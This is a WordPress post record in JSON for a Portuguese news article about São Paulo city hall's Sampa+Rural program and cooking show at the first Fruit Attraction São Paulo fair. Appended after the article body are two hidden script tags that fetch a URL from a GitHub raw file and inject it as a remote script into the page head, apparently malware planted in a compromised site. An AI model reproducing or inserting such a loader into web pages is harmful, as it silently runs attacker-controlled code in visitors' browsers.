{"id":3354,"date":"2024-05-07T17:09:17","date_gmt":"2024-05-07T15:09:17","guid":{"rendered":"https:\/\/www.ifema.es\/fruit-attraction-sao-paulo\/?p=3354"},"modified":"2025-02-18T12:53:49","modified_gmt":"2025-02-18T11:53:49","slug":"primeira-edicao-da-fruit-attraction-sp-contou-com-o-apoio-e-presenca-da-prefeitura-de-sao-paulo","status":"publish","type":"post","link":"https:\/\/www.ifema.es\/fruit-attraction-sao-paulo\/noticias\/primeira-edicao-da-fruit-attraction-sp-contou-com-o-apoio-e-presenca-da-prefeitura-de-sao-paulo\/","title":{"rendered":"Primeira edi\u00e7\u00e3o da Fruit Attraction SP contou com o apoio e presen\u00e7a da Prefeitura de S\u00e3o Paulo"},"content":{"rendered":"<p class=\"post-splash\"><em>Programas Sampa+Rural e Observat\u00f3rio da Gastronomia ofereceram exposi\u00e7\u00e3o de produtos e oficinas de alimenta\u00e7\u00e3o para o p\u00fablico visitante<\/em><\/p>\n<p>A Secretaria de Desenvolvimento Econ\u00f4mico e Trabalho da Prefeitura de S\u00e3o Paulo, por meio do programa Sampa+Rural e do colegiado Observat\u00f3rio da Gastronomia, participou entre os dias 16 a 18 de abril da primeira edi\u00e7\u00e3o da Fruit Attraction S\u00e3o Paulo. O evento, que \u00e9 reconhecido por ser uma das maiores feiras de vegetais e frutas no mundo, re\u00fane expositores e visitantes para conectar o setor de produ\u00e7\u00e3o e consumo de alimentos, sendo uma oportunidade para capacita\u00e7\u00e3o, networking e troca de experi\u00eancias.<\/p>\n<p>O secret\u00e1rio adjunto de Desenvolvimento Econ\u00f4mico e Trabalho, Armando Junior, visitou o espa\u00e7o no \u00faltimo dia de evento e p\u00f4de apresentar as iniciativas da Prefeitura de S\u00e3o Paulo no contexto de alimenta\u00e7\u00e3o.<\/p>\n<p>\u201cPara n\u00f3s \u00e9 um grande prazer participar e fortalecer um evento que \u00e9 classificado entre os maiores do mundo neste segmento, uma oportunidade \u00edmpar para apresentar nossas a\u00e7\u00f5es e tamb\u00e9m contribuir um pouco mais com os agricultores atendidos pelo Sampa+Rural, que podem divulgar seus servi\u00e7os e produtos, al\u00e9m de criar novas conex\u00f5es\u201d, declarou o secret\u00e1rio adjunto, Armando Junior.<\/p>\n<p><strong>Espa\u00e7o Cooking Show<br \/>\n<\/strong>O Observat\u00f3rio da Gastronomia foi um dos articuladores do estande, sendo respons\u00e1vel pela programa\u00e7\u00e3o do espa\u00e7o \u2018Cooking Show, que recebeu chefs de cozinha e bartenders que produziram receitas com frutas, destacando a versatilidade dos itens, que adicionam sabor e saudabilidade aos produtos.<\/p>\n<p>No primeiro dia de evento, o Chef Ricardo Magalh\u00e3es, respons\u00e1vel pelo bolo monumental em celebra\u00e7\u00e3o ao anivers\u00e1rio de S\u00e3o Paulo, demonstrou seu processo de cria\u00e7\u00e3o de bolos art\u00edsticos que utilizam frutas. Durante a tarde, o sommelier e bartender Gerson Bonilha Jr. falou um pouco sobre a tradicional caipirinha, drink que desde os anos 90 faz parte da International Bartender Association. O especialista tamb\u00e9m falou sobre a import\u00e2ncia da valoriza\u00e7\u00e3o da coquetelaria brasileira e mundial.<\/p>\n<p>Na quarta-feira, a sazonalidade do caqui foi ressaltada pelo chef Guilherme Cardadeiro, da Ong Chef Aprendiz, na receita de Canap\u00e9 de p\u00e3o de frigideira com chutney de caqui e creme de ricota com flores comest\u00edveis. O chef destacou a import\u00e2ncia de valorizar os produtores familiares, n\u00e3o s\u00f3 pelo fator ambiental, como social. Em seguida, o bartender Kasc\u00e3o Oliveira preparou coqueteis Caipitreme (cacha\u00e7a com jambu, erva que amortece a boca, lim\u00e3o-taiti, lim\u00e3o-cravo, lim\u00e3o-siciliano e xarope de rapadura) e Pai d\u2019\u00e9gua (cacha\u00e7a com jambu, cupua\u00e7u, xarope simples e suco de lim\u00e3o).<\/p>\n<p>No \u00faltimo dia de evento, o Cooking Show recebeu o chef Vin\u00edcius Rojo, do Catering Rojo Gastronomia, que apresentou o A\u00e7a\u00ed da Mata Atl\u00e2ntica, feito da polpa de ju\u00e7ara. Os espectadores ficaram impressionados com a semelhan\u00e7a do a\u00e7a\u00ed tradicional, que apresenta textura e sabor semelhantes. Al\u00e9m disso, o Chef falou sobre sua experi\u00eancia no reflorestamento da Mata Atl\u00e2ntica. Atrav\u00e9s do catering social Go Mama, o chef realiza o projeto de reflorestamento da Mata Atl\u00e2ntica com a palmeira ju\u00e7ara, apoiados pela Atlas Florestal.<\/p>\n<p>A tarefa de encerrar a programa\u00e7\u00e3o do Cooking Show ficou para as bartenders Adriana Pino, campe\u00e3 mundial de coquetelaria pela World Class Competition, e Manuela Parise, que apresentaram a alta mixologia brasileira com o drink \u201cAndar com F\u00e9\u201d, feito com cacha\u00e7a, cambuci, lim\u00e3o e abacaxi.<\/p>\n<p>Parte dos bartenders e Chefs adquiriram produtos e frutas dos expositores do programa Sampa+Rural, que dividiram o estande da Prefeitura de SP com o Cooking Show.<\/p>\n<p><strong>Exposi\u00e7\u00e3o e conex\u00e3o de agricultores &#8211; Sampa+Rural<br \/>\n<\/strong>Al\u00e9m do Cooking Show, o estande da Prefeitura de S\u00e3o Paulo abriu espa\u00e7o para a exposi\u00e7\u00e3o e contato de agricultores atendidos pelo programa Sampa+Rural. Dentre eles est\u00e3o os agricultores do Recanto Magini, especializados na produ\u00e7\u00e3o do cambuci, uvaia e ju\u00e7ara, frutos t\u00edpicos da Mata Atl\u00e2ntica. Os produtores utilizam os frutos para a produ\u00e7\u00e3o de geleias, licores e cacha\u00e7as, comercializados em diferentes pontos da cidade.<\/p>\n<p>Outro grupo de agricultores que puderam expor produtos \u00e9 o coletivo Murakami Org\u00e2nicos, tamb\u00e9m de Parelheiros, considerado um dos pioneiros na produ\u00e7\u00e3o de banana org\u00e2nica na cidade de S\u00e3o Paulo. Participaram tamb\u00e9m os produtores do S\u00edtio Campo Verde, especializados no turismo rural e na produ\u00e7\u00e3o de Mirtilo, e o S\u00edtio Vida, que possuem expertise na produ\u00e7\u00e3o de caqui.<\/p>\n<p><strong>Sobre o Observat\u00f3rio da Gastronomia<br \/>\n<\/strong>O Observat\u00f3rio da Gastronomia \u00e9 um espa\u00e7o de articula\u00e7\u00e3o direcionado ao fortalecimento da cadeia da alimenta\u00e7\u00e3o e da gastronomia. Trabalhando em conjunto com todos aqueles que atuam nesse setor, o Observat\u00f3rio visa potencializar os aspectos ligados \u00e0 economia, cultura, seguran\u00e7a alimentar e sustentabilidade.<\/p>\n<p>O Observat\u00f3rio da Gastronomia atua por meio de comit\u00eas tem\u00e1ticos &#8211; Imagem e Patrim\u00f4nio Gastron\u00f4mico de S\u00e3o Paulo, Gastronomia Social e Sustentabilidade, Qualifica\u00e7\u00e3o e Inclus\u00e3o Profissional e Comida de Rua &#8211; , que t\u00eam o objetivo de unir a expertise dos diversos atores de forma a potencializar a busca por solu\u00e7\u00f5es no setor da alimenta\u00e7\u00e3o.<\/p>\n<p><strong>Sobre o Programa Sampa+Rural<br \/>\n<\/strong>O Programa Sampa+Rural prev\u00ea a\u00e7\u00f5es que visam expandir a Assist\u00eancia T\u00e9cnica e Extens\u00e3o Rural, a inser\u00e7\u00e3o de benefici\u00e1rios do POT &#8211; Programa Opera\u00e7\u00e3o Trabalho, tamb\u00e9m da Prefeitura de S\u00e3o Paulo, na \u00e1rea da agricultura, al\u00e9m da estrutura\u00e7\u00e3o de 400 locais de agricultura na capital. A Coordenadoria de Agricultura, respons\u00e1vel pelo programa, conta com tr\u00eas CAEs &#8211; Casas de Agricultura Ecol\u00f3gica nas zonas Sul, Leste e Norte, sendo a \u00faltima respons\u00e1vel pelo atendimento tamb\u00e9m dos distritos da regi\u00e3o central, Oeste e Sul em sua por\u00e7\u00e3o urbana.<\/p>\n<p>Al\u00e9m disso, a iniciativa conta com uma Unidade Demonstrativa de Bionsumos, localizada em Parelheiros, que produz, capacita e oferece biofertilizantes e compostos org\u00e2nicos \u00fateis na prote\u00e7\u00e3o de plantios, controle de pragas, fortifica\u00e7\u00e3o de solo e muito mais. Saiba mais sobre o trabalho da Coordenadoria de Agricultura da Prefeitura de S\u00e3o Paulo clicando aqui ou siga no Instagram\u00a0<a href=\"https:\/\/www.instagram.com\/agriculturaprefsp\/\">@agriculturaprefsp<\/a><\/p>\n<p>Fonte: <a href=\"https:\/\/www.prefeitura.sp.gov.br\/cidade\/secretarias\/desenvolvimento\/noticias\/?p=365054\" target=\"_blank\" rel=\"noopener\">Prefeitura de S\u00e3o Paulo<\/a><\/p>\n<p class=\"p1\">\n<p>&nbsp;<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = 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data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Programas Sampa+Rural e Observat\u00f3rio da Gastronomia ofereceram exposi\u00e7\u00e3o de produtos e oficinas de alimenta\u00e7\u00e3o para o p\u00fablico visitante A Secretaria de Desenvolvimento Econ\u00f4mico e Trabalho da Prefeitura de S\u00e3o Paulo, por meio do programa Sampa+Rural e do colegiado Observat\u00f3rio da Gastronomia, participou entre os dias 16 a 18 de abril da primeira edi\u00e7\u00e3o da Fruit&#8230;<\/p>\n","protected":false},"author":3,"featured_media":3355,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[51],"tags":[],"class_list":["post-3354","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Primeira edi\u00e7\u00e3o da Fruit Attraction SP contou com o apoio e presen\u00e7a da Prefeitura de S\u00e3o Paulo - Fruit Attraction Sao Paulo | IFEMA MADRID INTERNACIONAL<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.ifema.es\/fruit-attraction-sao-paulo\/noticias\/primeira-edicao-da-fruit-attraction-sp-contou-com-o-apoio-e-presenca-da-prefeitura-de-sao-paulo\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Primeira edi\u00e7\u00e3o da Fruit Attraction SP contou com o apoio e presen\u00e7a da Prefeitura de S\u00e3o Paulo - Fruit Attraction Sao Paulo | IFEMA MADRID INTERNACIONAL\" \/>\n<meta property=\"og:description\" content=\"Programas Sampa+Rural e Observat\u00f3rio da Gastronomia ofereceram exposi\u00e7\u00e3o de produtos e oficinas de alimenta\u00e7\u00e3o para o p\u00fablico visitante A Secretaria de Desenvolvimento Econ\u00f4mico e Trabalho da Prefeitura de S\u00e3o Paulo, por meio do programa Sampa+Rural e do colegiado Observat\u00f3rio da Gastronomia, participou entre os dias 16 a 18 de abril da primeira edi\u00e7\u00e3o da Fruit...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.ifema.es\/fruit-attraction-sao-paulo\/noticias\/primeira-edicao-da-fruit-attraction-sp-contou-com-o-apoio-e-presenca-da-prefeitura-de-sao-paulo\/\" \/>\n<meta property=\"og:site_name\" content=\"Fruit Attraction Sao Paulo | IFEMA MADRID INTERNACIONAL\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/people\/Fruit-Attraction-So-Paulo\/61553117052718\/\" \/>\n<meta property=\"article:published_time\" content=\"2024-05-07T15:09:17+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-02-18T11:53:49+00:00\" \/>\n<meta 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